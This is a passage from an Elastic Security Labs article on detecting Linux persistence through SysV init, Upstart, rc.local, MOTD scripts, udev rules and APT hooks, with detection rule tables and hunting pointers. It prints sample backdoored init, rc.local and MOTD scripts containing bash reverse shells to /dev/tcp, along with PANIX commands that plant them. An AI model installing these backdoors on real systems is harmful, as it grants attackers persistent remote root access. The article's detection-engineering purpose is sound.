<p>In the previous article - &quot;Linux Detection Engineering - a primer on persistence mechanisms&quot; - we explored the foundational aspects of Linux persistence techniques. If you missed it, you can find it <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">here</a>.</p>
<p>We'll set up the persistence mechanisms, analyze the logs, and observe the potential detection opportunities. To aid in this process, we’re sharing <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a Linux persistence tool that Ruben Groenewoud of Elastic Security developed. PANIX simplifies and customizes persistence setup to test potential detection opportunities.</p>
<p>By the end of this series, you'll have gained a comprehensive understanding of each of the persistence mechanisms that we covered, including:</p>
<ul>
<li>How it works (theory)</li>
<li>How to set it up (practice)</li>
<li>How to detect it (SIEM and Endpoint rules)</li>
<li>How to hunt for it (ES|QL and OSQuery reference hunts)</li>
</ul>
<p>Let’s go beyond the basics and dig a little bit deeper into the world of Linux persistence, it’s fun!</p>
<h2>Setup note</h2>
<p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill in any gaps. Now, we are ready to get started.</p>
<h2>T1037 - boot or logon initialization scripts: Init</h2>
<p>Init, short for &quot;initialization,&quot; is the first process started by the kernel during the boot process on Unix-like operating systems. It continues running until the system is shut down. The primary role of an init system is to start, stop, and manage system processes and services.</p>
<p>There are three major init implementations - <a href="https://man7.org/linux/man-pages/man1/systemd.1.html">Systemd</a>, <a href="https://linux.die.net/man/8/service">System V</a>, and <a href="https://linux.die.net/man/7/upstart">Upstart</a>. In <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">part 1</a> of this series, we focused on Systemd. In this part, we will explore System V and Upstart. MITRE does not have specific categories for System V or Upstart. These are generally part of <a href="https://attack.mitre.org/techniques/T1037/">T1037</a>.</p>
<h3>T1037 - boot or logon initialization scripts: System V init</h3>
<p><a href="https://linux.die.net/man/8/service">System V (SysV) init</a> is one of the oldest and most traditional init systems. SysV init scripts are gradually being replaced by modern init systems like Systemd. However, <code>systemd-sysv-generator</code> allows Systemd to handle traditional SysV init scripts, ensuring older services and applications can still be managed within the newer framework.</p>
<p>The <code>/etc/init.d/</code> directory is a key component of the SysV init system. It is responsible for controlling the startup, running, and shutdown of services on a system. Scripts in this directory are executed at different run levels to manage various system services. Despite the rise of Systemd as the default init system in many modern Linux distributions, <code>init.d</code> scripts are still widely used and supported, making them a viable option for persistence.</p>
<p>The scripts in <code>init.d</code> are used to start, stop, and manage services. These scripts are executed with root privileges, providing a powerful means for both administrators and attackers to ensure certain commands or services run on boot. These scripts are often linked to <a href="https://linux.die.net/man/7/runlevel">runlevel</a> directories like <code>/etc/rc0.d/</code>, <code>/etc/rc1.d/</code>, etc., which determine when the scripts are run. Runlevels, ranging from 0 to 6, define specific operational states, each configuring different services and processes to manage system behavior and user interactions. Runlevels vary depending on the distribution, but generally look like the following:</p>
<ul>
<li>0: Shutdown</li>
<li>1: Single User Mode</li>
<li>2: Multiuser mode without networking</li>
<li>3: Multiuser mode with networking</li>
<li>4: Unused</li>
<li>5: Multiuser mode with networking and GUI</li>
<li>6: Reboot</li>
</ul>
<p>During system startup, scripts are executed based on the current runlevel configuration. Each script must follow a specific structure, including <code>start</code>, <code>stop</code>, <code>restart</code>, and <code>status</code> commands to manage the associated service. Scripts prefixed with <code>S</code> (start) or <code>K</code> (kill) dictate actions during startup or shutdown, respectively, ordered by their numerical sequence.</p>
<p>An <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L1864-L1881">example</a> of a malicious <code>init.d</code> script might look similar to the following:</p>
<pre><code>#! /bin/sh
### BEGIN INIT INFO
# Provides:             malicious-sysv-script
# Required-Start:       $remote_fs $syslog
# Required-Stop:        $remote_fs $syslog
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
### END INIT INFO

case &quot;$1&quot; in
  start)
    echo &quot;Starting malicious-sysv-script&quot;
    nohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/$ip/$port 0&gt;&amp;1'
    ;;
esac
</code></pre>
<p>The script must be placed in the <code>/etc/init.d/</code> directory and be granted execution permissions. Similarly to Systemd services, SysV scripts must also be enabled. A common utility to manage SysV configurations is <code>update-rc.d</code>. It allows administrators to enable or disable services and manage the symbolic links (start and kill scripts) in the <code>/etc/rc*.d/</code> directories, automatically setting the correct runlevels based on the configuration of the script.</p>
<pre><code>sudo update-rc.d malicious-sysv-script defaults
</code></pre>
<p>The <code>malicious-sysv-script</code> is now enabled and ready to run on boot. MITRE specifies more information and real-world examples related to this technique in <a href="https://attack.mitre.org/techniques/T1037/">T1037</a>.</p>
<h4>Persistence through T1037 - System V init</h4>
<p>You can manually set up a test script within the <code>/etc/init.d/</code> directory, grant it execution permissions, enable it, and reboot it, or simply use <a href="https://github.com/aegrah/PANIX">PANIX</a>. PANIX is a Linux persistence tool that simplifies and customizes persistence setup for testing your detections. We can use it to establish persistence simply by running:</p>
<pre><code>&gt; sudo ./panix.sh --initd --default --ip 192.168.1.1 --port 2006
&gt; [+] init.d backdoor established with IP 192.168.1.1 and port 2006.
</code></pre>
<p>Prior to rebooting and actually establishing persistence, we can see the following documents being generated in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image14.png" alt="Events generated as a result of System V init persistence establishment" title="Events generated as a result of System V init persistence establishment" /></p>
<p>After executing PANIX, it generates a SysV init script named <code>/etc/init.d/ssh-procps</code>, applies executable permissions using <code>chmod +x</code>, and utilizes <code>update-rc.d</code>. This command triggers <code>systemctl daemon-reload</code>, which, in turn, activates the <code>systemd-sysv-generator</code> to enable <code>ssh-procps</code> during system boot.</p>
<p>Let’s reboot the system and look at the events that are generated on shutdown/boot.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image8.png" alt="Events generated as a result of System V init persistence establishment" title="Events generated as a result of System V init persistence establishment" /></p>
<p>As the SysV init system is loaded early, the start command is not logged. Since it is impossible to detect an event before events are being ingested, we need to be creative in detecting this technique. Elastic will capture <code>already_running</code> event actions for service initialization events. Through this chain we are capable of detecting the execution of the service, followed by the reverse shell that was initiated. We have several detection opportunities for this persistence technique.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_init_d_file_creation.toml">System V Init Script Created</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_etc_file_creation.toml">Suspicious File Creation in /etc for Persistence</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_system_v_init_(init.d)_executed_binary_from_unusual_location.toml">System V Init (init.d) Executed Binary from Unusual Location</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml">Executable Bit Set for Potential Persistence Script</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_system_v_init_(init.d)_egress_network_connection.toml">System V Init (init.d) Egress Network Connection</a></td>
</tr>
</tbody>
</table>
<h4>Hunting for T1037 - System V init</h4>
<p>Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This blog will solely list the available hunts for each persistence mechanism; however, more details regarding this topic are outlined at the end of the first section in <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">the previous article on persistence</a>. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p>
<p>We can hunt for System V Init persistence through <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">OSQuery</a>, focusing on unusual process executions and file creations. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_sysv_init.toml">Persistence via System V Init</a> rule contains several ES|QL and OSQuery queries that can help hunt for these types of persistence.</p>
<h3>T1037 - boot or logon initialization scripts: Upstart</h3>
<p><a href="https://linux.die.net/man/7/upstart">Upstart</a> was introduced as an alternative init system designed to improve boot performance and manage system services more dynamically than traditional SysV init. While it has been largely supplanted by systemd in many Linux distributions, Upstart is still used in some older releases and legacy systems.</p>
<p>The core of Upstart's configuration resides in the <code>/etc/init/</code> directory, where job configuration files define how services are started, stopped, and managed. Each job file specifies dependencies, start conditions, and actions to be taken upon start, stop, and other events.</p>
<p>In Upstart, run levels are replaced with events and tasks, which define the sequence and conditions under which jobs are executed. Upstart introduces a more event-driven model, allowing services to start based on various system events rather than predefined run levels.</p>
<p>Upstart can run system-wide or in user-session mode. While system-wide configurations are placed in the <code>/etc/init/</code> directory, user-session mode configurations are located in:</p>
<ul>
<li><code>~/.config/upstart/</code></li>
<li><code>~/.init/</code></li>
<li><code>/etc/xdg/upstart/</code></li>
<li><code>/usr/share/upstart/sessions/</code></li>
</ul>
<p>An example of an Upstart job file can look like this:</p>
<pre><code>description &quot;Malicious Upstart Job&quot;
author &quot;Ruben Groenewoud&quot;

start on runlevel [2345]
stop on shutdown

exec nohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/$ip/$port 0&gt;&amp;1'
</code></pre>
<p>The <code>malicious-upstart-job.conf</code> file defines a job that starts on run levels 2, 3, 4, and 5 (general Linux access and networking), and stops on run levels 0, 1, and 6 (shutdown/reboot). The <code>exec</code> line executes the malicious payload to establish a reverse shell connection when the system boots up.</p>
<p>To enable the Upstart job and ensure it runs on boot, the job file must be placed in <code>/etc/init/</code> and given appropriate permissions. Upstart jobs are automatically recognized and managed by the <code>Upstart init daemon</code>.</p>
<p>Upstart was deprecated a long time ago, with Linux distributions such as Debian 7 and Ubuntu 16.04 being the final systems that leverage Upstart by default. These systems moved to the SysV init system, removing compatibility with Upstart altogether. Based on the data in our <a href="https://www.elastic.co/de/support/matrix">support matrix</a>, only the Elastic Agent in Beta version supports some of these old operating systems, and the recent version of Elastic Defend does not run on them at all. These systems have been EOL for years and should not be used in production environments anymore.</p>
<p>Because of this reason, we added support/coverage for this technique to the <a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a> detection rule. If you are still running these systems in production, using, for example, old versions of <a href="https://www.elastic.co/de/beats/auditbeat">Auditbeat</a> to gather its logs, you can set up <a href="https://www.elastic.co/de/guide/en/beats/auditbeat/current/configuration-auditbeat.html">Auditbeat file creation</a> and <a href="https://www.elastic.co/de/docs/current/integrations/fim">FIM</a> file modification rules in the <code>/etc/init/</code> directory, similar to the techniques mentioned in the <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">previous blog</a>, and in the sections yet to come. Similarly to System V Init, information and real-world examples related to this technique are specified by MITRE in <a href="https://attack.mitre.org/techniques/T1037/">T1037</a>.</p>
<h2>T1037.004 - boot or logon initialization scripts: run control (RC) scripts</h2>
<p>The <a href="https://man.freebsd.org/cgi/man.cgi?rc.local">rc.local</a> script is a traditional method for executing commands or scripts on Unix-like operating systems during system boot. It is located at <code>/etc/rc.local</code> and is typically used to start services, configure networking, or perform other system initialization tasks that do not warrant a full init script. In Darwin-based systems and very few other Unix-like systems, <code>/etc/rc.common</code> is used for the same purpose.</p>
<p>Newer versions of Linux distributions have phased out the <code>/etc/rc.local</code> file in favor of Systemd for handling initialization scripts. Systemd provides compatibility through the <a href="https://man7.org/linux/man-pages/man8/systemd-rc-local-generator.8.html">systemd-rc-local-generator</a> generator; this executable ensures backward compatibility by checking if <code>/etc/rc.local</code> exists and is executable. If it meets these criteria, it integrates the <code>rc-local.service</code> unit into the boot process. Therefore, as long as this generator is included in the Systemd setup, <code>/etc/rc.local</code> scripts will execute during system boot. In RHEL derivatives, <code>/etc/rc.d/rc.local</code> must be granted execution permissions for this technique to work.</p>
<p>The <code>rc.local</code> script is a shell script that contains commands or scripts to be executed once at the end of the system boot process, after all other system services have been started. This makes it useful for tasks that require specific system conditions to be met before execution. Here’s an example of how a simple backdoored <code>rc.local</code> script might look:</p>
<pre><code>#!/bin/sh
/bin/bash -c 'sh -i &gt;&amp; /dev/tcp/$ip/$port 0&gt;&amp;1'
exit 0
</code></pre>
<p>The command above creates a reverse shell by opening a bash session that redirects input and output to a specified IP address and port, allowing remote access to the system.</p>
<p>To ensure <code>rc.local</code> runs during boot, the script must be marked executable. On the next boot, the <code>systemd-rc-local-generator</code> will create the necessary symlink in order to enable the <code>rc-local.service</code> and execute the <code>rc.local</code> script. RC scripts did receive their own sub-technique by MITRE. More information and examples of real-world usage of RC Scripts for persistence can be found in <a href="https://attack.mitre.org/techniques/T1037/004/">T1037.004</a>.</p>
<h3>Persistence through T1037.004 - run control (RC) scripts</h3>
<p>As long as the <code>systemd-rc-local-generator</code> is present, establishing persistence through this technique is simple. Create the <code>/etc/rc.local</code> file, add your payload, and mark it as executable. We will leverage the following PANIX command to establish it for us.</p>
<pre><code>&gt; sudo ./panix.sh --rc-local --default --ip 192.168.1.1 --port 2007
&gt; [+] rc.local backdoor established 
</code></pre>
<p>After rebooting the system, we can see the following events being generated:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image6.png" alt="Events generated as a result of RC Script persistence establishment" title="Events generated as a result of RC Script persistence establishment" /></p>
<p>The same issue as before arises. We see the execution of PANIX, creating the <code>/etc/rc.local</code> file and granting it execution permissions. When running <code>systemctl daemon-reload</code>, we can see the <code>systemd-rc-local-generator</code> creating a symlink in the <code>/run/systemd/generator[.early|late]</code> directories.</p>
<p>Similar to the previous example in which we ran into this issue, we can again use the <code>already_running</code> <code>event.action</code> documents to get some information on the executions. Digging into this, one method that detects potential traces of <code>rc.local</code> execution is to search for documents containing <code>/etc/rc.local start</code> entries:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image7.png" alt="Events generated as a result of rc.local service status" title="Events generated as a result of rc.local service status" /></p>
<p>Where we see <code>/etc/rc.local</code> being started, after which a suspicious command is executed. The <code>/opt/bds_elf</code> is a rootkit, leveraging <code>rc.local</code> as a persistence method.</p>
<p>Additionally, we can leverage the <a href="https://man7.org/linux/man-pages/man3/syslog.3.html">syslog</a> data source, as this file is parsed on initialization of the system integration. You can set up <a href="https://www.elastic.co/de/beats/filebeat">Filebeat</a> or the <a href="https://www.elastic.co/de/elastic-agent">Elastic Agent</a> with the <a href="https://www.elastic.co/de/docs/current/en/integrations/system">System integration</a> to harvest syslog. When looking at potential errors in its execution logs, we can detect other traces of <code>rc.local</code> execution events for both our testing and rootkit executions:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image4.png" alt="Events generated as a result of /etc/rc.local syslog error messages" title="Events generated as a result of /etc/rc.local syslog error messages" /></p>
<p>Because of the challenges in detecting these persistence mechanisms, it is very important to catch traces as early in the chain as possible. Leveraging a multi-layered defense strategy increases the chances of detecting techniques like these.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_rc_script_creation.toml">rc.local/rc.common File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_rc_local_service_already_running.toml">Potential Execution of rc.local Script</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml">Executable Bit Set for Potential Persistence Script</a></td>
</tr>
<tr>
<td>Syslog</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_rc_local_error_via_syslog.toml">Suspicious rc.local Error Message</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1037.004 - run control (RC) scripts</h3>
<p>Similar to the System V Init detection opportunity limitations, this technique deals with the same limitations due to timing. Thus, hunting for RC Script persistence is important. We can hunt for this technique by looking at <code>/etc/rc.local</code> file creations and/or modifications and the existence of the <code>rc-local.service</code> systemd unit/startup item. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_rc_local.toml">Persistence via rc.local/rc.common</a> rule contains several ES|QL and OSQuery queries that aid in hunting for this technique.</p>
<h2>T1037 - boot or logon initialization scripts: Message of the Day (MOTD)</h2>
<p><a href="https://linux.die.net/man/5/motd">Message of the Day (MOTD)</a> is a feature that displays a message to users when they log in via SSH or a local terminal. To display messages before and after the login process, Linux uses the <code>/etc/issue</code> and the <code>/etc/motd</code> files. These messages display on the command line and will not be seen before and after a graphical login. The <code>/etc/issue</code> file is typically used to display a login message or banner, while the <code>/etc/motd</code> file generally displays issues, security policies, or messages. These messages are global and will display to all users at the command line prompt. Only a privileged user (such as root) can edit these files.</p>
<p>In addition to the static <code>/etc/motd</code> file, modern systems often use dynamic MOTD scripts stored in <code>/etc/update-motd.d/</code>. These scripts generate dynamic content that can be included in the MOTD, such as current system metrics, weather updates, or news headlines.</p>
<p>These dynamic scripts are shell scripts that execute shell commands. It is possible to create a new file within this directory or to add a backdoor to an existing one. Once the script has been granted execution permissions, it will execute every time a user logs in.</p>
<p>RHEL derivatives do not make use of dynamic MOTD scripts in a similar way as Debian does, and are not susceptible to this technique.</p>
<p>An example of a backdoored <code>/etc/update-motd.d/</code> file could look like this:</p>
<pre><code>#!/bin/sh
nohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/$ip/$port 0&gt;&amp;1'
</code></pre>
<p>Like before, MITRE does not have a specific technique related to this. Therefore we classify this technique as <a href="https://attack.mitre.org/techniques/T1037/">T1037</a>.</p>
<h3>Persistence through T1037 - message of the day (MOTD)</h3>
<p>A <a href="https://github.com/Aegrah/PANIX/blob/main/panix.sh#L1644-L1669">payload</a> similar to the one presented above should be used to ensure the backdoor does not interrupt the SSH login, potentially triggering the user’s attention. We can leverage PANIX to set up persistence on Debian-based systems through MOTD like so:</p>
<pre><code> &gt; sudo ./panix.sh --motd --default --ip 192.168.1.1 --port 2008
&gt; [+] MOTD backdoor established in /etc/update-motd.d/137-python-upgrades
</code></pre>
<p>To trigger the backdoor, we can reconnect to the server via SSH or reconnect to the terminal.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image2.png" alt="Events generated as a result of Message of the Day (MOTD) persistence establishment" title="Events generated as a result of Message of the Day (MOTD) persistence establishment" /></p>
<p>In the image above we can see PANIX being executed, which creates the <code>/etc/update-motd.d/137-python-upgrades</code> file and marks it as executable. Next, when a user connects to SSH/console, the payload is executed, resulting in an egress network connection by the root user. This is a straightforward attack chain, and we have several layers of detections for this:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_message_of_the_day_creation.tom">Message-of-the-Day (MOTD) File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_suspicious_process_spawned_from_motd_detected.toml">Process Spawned from Message-of-the-Day (MOTD)</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_suspicious_message_of_the_day_execution.toml">Suspicious Message Of The Day Execution</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml">Executable Bit Set for Potential Persistence Script</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_motd_execution_followed_by_egress_network_connection.toml">MOTD Execution Followed by Egress Network Connection</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_egress_network_connection_by_motd_child.toml">Egress Network Connection by MOTD Child</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1037 - message of the day (MOTD)</h3>
<p>Hunting for MOTD persistence can be conducted through ES|QL and OSQuery. We can do so by analyzing file creations in these directories and executions from MOTD parent processes. We created the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_message_of_the_day.toml">Persistence via Message-of-the-Day</a> rule aid in this endeavor.</p>
<h2>T1546 - event triggered execution: udev</h2>
<p><a href="https://man7.org/linux/man-pages/man7/udev.7.html">Udev</a> is the device manager for the Linux kernel, responsible for managing device nodes in the <code>/dev</code> directory. It dynamically creates or removes device nodes, manages permissions, and handles various events triggered by device state changes. Essentially, Udev acts as an intermediary between the kernel and user space, ensuring that the operating system appropriately handles hardware changes.</p>
<p>When a new device is added to the system (such as a USB drive, keyboard, or network interface), Udev detects this event and applies predefined rules to manage the device. Each rule consists of key-value pairs that match device attributes and actions to be performed. Udev rules files are processed in lexical order, and rules can match various device attributes, including device type, kernel name, and more. Udev rules are defined in text files within a default set of directories:</p>
<ul>
<li><code>/etc/udev/rules.d/</code></li>
<li><code>/run/udev/rules.d/</code></li>
<li><code>/usr/lib/udev/rules.d/</code></li>
<li><code>/usr/local/lib/udev/rules.d/</code></li>
<li><code>/lib/udev/</code></li>
</ul>
<p>Priority is measured based on the source directory of the rule file and takes precedence based on the order listed above (<code>/etc/</code> → <code>/run/</code> → <code>/usr/</code>). When a rule matches, it can trigger a wide range of actions, including executing arbitrary commands or scripts. This flexibility makes Udev a potential vector for persistence by malicious actors. An example Udev rule looks like the following:</p>
<pre><code>SUBSYSTEM==&quot;block&quot;, ACTION==&quot;add|change&quot;, ENV{DM_NAME}==&quot;ubuntu--vg-ubuntu--lv&quot;, SYMLINK+=&quot;disk/by-dname/ubuntu--vg-ubuntu--lv&quot;
</code></pre>
<p>To leverage this method for persistence, root privileges are required. Once a rule file is created, the rules need to be reloaded.</p>
<pre><code>sudo udevadm control --reload-rules
</code></pre>
<p>To test the rule, either perform the action specified in the rule file or use the <a href="https://www.man7.org/linux/man-pages/man8/udevadm.8.html">udevadm</a> trigger utility.</p>
<pre><code>sudo udevadm trigger -v
</code></pre>
<p>Additionally, these drivers can be monitored using <code>udevadm</code>, by running:</p>
<pre><code>udevadm monitor --environment
</code></pre>
<p>Eder’s <a href="https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/">blog</a> titled “Leveraging Linux udev for persistence” is a very good read for more information on this topic. This technique has several limitations, making it more difficult to leverage the persistence mechanism.</p>
<ul>
<li>Udev rules are limited to short foreground tasks due to potential blocking of subsequent events.</li>
<li>They cannot execute programs accessing networks or filesystems, enforced by <code>systemd-udevd.service</code>'s sandbox.</li>
<li>Long-running processes are terminated after event handling.</li>
</ul>
<p>Despite these restrictions, bypasses include creating detached processes outside udev rules for executing implants, such as:</p>
<ul>
<li>Leveraging <code>at</code>/<code>cron</code>/<code>systemd</code> for independent scheduling.</li>
<li>Injecting code into existing processes.</li>
</ul>
<p>Although persistence would be set up through a different technique than udev, udev would still grant a persistence mechanism for the <code>at</code>/<code>cron</code>/<code>systemd</code> persistence mechanism. MITRE does not have a technique dedicated to this mechanism — the most logical technique to add this to would be <a href="https://attack.mitre.org/techniques/T1546/">T1546</a>.</p>
<p>Researchers from AON recently discovered a malware called &quot;sedexp&quot; that achieves persistence using Udev rules - a technique rarely seen in the wild - so be sure to check out <a href="https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp">their research article</a>.</p>
<h2>Persistence through T1546 - udev</h2>
<p>PANIX allows you to test all three techniques by leveraging <code>--at</code>, <code>--cron</code> and <code>--systemd</code>, respectively. Or go ahead and test it manually. We can set up udev persistence through <code>at</code>, by running the following command:</p>
<pre><code>&gt; sudo ./panix.sh --udev --default --ip 192.168.1.1 --port 2009 --at
</code></pre>
<p>To trigger the payload, you can either run <code>sudo udevadm trigger</code> or reboot the system. Let’s analyze the events in Discover.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image16.png" alt="Events generated as a result of Udev At persistence establishment" title="Events generated as a result of Udev At persistence establishment" /></p>
<p>In the figure above, PANIX is executed, which creates the <code>/usr/bin/atest</code> backdoor and grants it execution permissions. Subsequently, the <code>10-atest.rules</code> file is generated, and the drivers are reloaded and triggered. This causes <code>At</code> to be spawned as a child process of <code>udevadm</code>, creating the <code>atspool</code>/<code>atjob</code>, and subsequently executing the reverse shell.</p>
<p>Cron follows a similar structure; however, it is slightly more difficult to catch the malicious activity, as the child process of <code>udevadm</code> is <code>bash</code>, which is not unusual.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image5.png" alt="Events generated as a result of Udev Cron persistence establishment" title="Events generated as a result of Udev Cron persistence establishment" /></p>
<p>Finally, when looking at the documents generated by Udev in combination with Systemd, we see the following:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/sequel-on-persistence-mechanisms/image9.png" alt="Events generated as a result of Udev Systemd persistence establishment" title="Events generated as a result of Udev Systemd persistence establishment" /></p>
<p>Which also does not show a relationship with udev, other than the <code>12-systemdtest.rules</code> file that is created.</p>
<p>This leads these last two mechanisms to be detected through our previous systemd/cron related rules, rather than specific udev rules. Let’s take a look at the coverage (We omitted the <code>systemd</code>/<code>cron</code> rules, as these were already mentioned in <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">the previous persistence blog</a>):</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_udev_rule_creation.toml">Systemd-udevd Rule File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_at_utility_launched_through_udevadm.toml">At Utility Launched through Udevadm</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml">Executable Bit Set for Potential Persistence Script</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_udev_execution_followed_by_egress_network_connection.toml">Udev Execution Followed by Egress Network Connection</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1546 - udev</h3>
<p>Hunting for Udev persistence can be conducted through ES|QL and OSQuery. By leveraging ES|QL, we can detect unusual file creations and process executions, and through OSQuery we can do live hunting on our managed systems. To get you started, we created the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_udev.toml">Persistence via Udev</a> rule, containing several different queries.</p>
<h2>T1546.016 - event triggered execution: installer packages</h2>
<p>Package managers are tools responsible for installing, updating, and managing software packages. Three widely used package managers are <a href="https://linux.die.net/man/8/apt">APT</a> (Advanced Package Tool), <a href="https://man7.org/linux/man-pages/man8/yum.8.html">YUM</a> (Yellowdog Updater, Modified), and YUM’s successor, <a href="https://man7.org/linux/man-pages/man8/dnf.8.html">DNF</a> (Danified YUM). Beyond their legitimate uses, these tools can be leveraged by attackers to establish persistence on a system by hijacking the package manager execution flow, ensuring malicious code is executed during routine package management operations. MITRE details information related to this technique under the identifier <a href="https://attack.mitre.org/techniques/T1546/016/">T1546.016</a>.</p>
<h3>T1546.016 - installer packages (APT)</h3>
<p><a href="https://linux.die.net/man/8/apt">APT</a> is the default package manager for Debian-based Linux distributions like Debian, Ubuntu, and their derivatives. It simplifies the process of managing software packages and dependencies. APT utilizes several configuration mechanisms to customize its behavior and enhance package management efficiency.</p>
<p><a href="https://manpages.debian.org/testing/apt/apt.conf.5.en.html">APT hooks</a> allow users to execute scripts or commands at specific points during package installation, removal, or upgrade operations. These hooks are stored in <code>/etc/apt/apt.conf.d/</code> and can be leveraged to execute actions pre- and post-installation. The structure of APT configuration files follows a numeric ordering convention to control the application of configuration snippets that customize various aspects of APT's behavior. A regular APT hook looks like this:</p>
<pre><code>DPkg::Post-Invoke {&quot;if [ -d /var/lib/update-notifier ]; then touch /var/lib/update-notifier/dpkg-run-stamp; fi; /usr/lib/update-notifier/update-motd-updates-available 2&gt;/dev/null || true&quot;;};                                                                            APT::Update::Post-Invoke-Success {&quot;/usr/lib/update-notifier/update-motd-updates-available 2&gt;/dev/null || true&quot;;}; 
</code></pre>
<p>These configuration files can be exploited by attackers to execute malicious binaries or code whenever an APT operation is executed. This vulnerability extends to automated processes like auto-updates, enabling persistent execution on systems with automatic update features enabled.</p>
<h4>Persistence through T1546.016 - installer packages (APT)</h4>
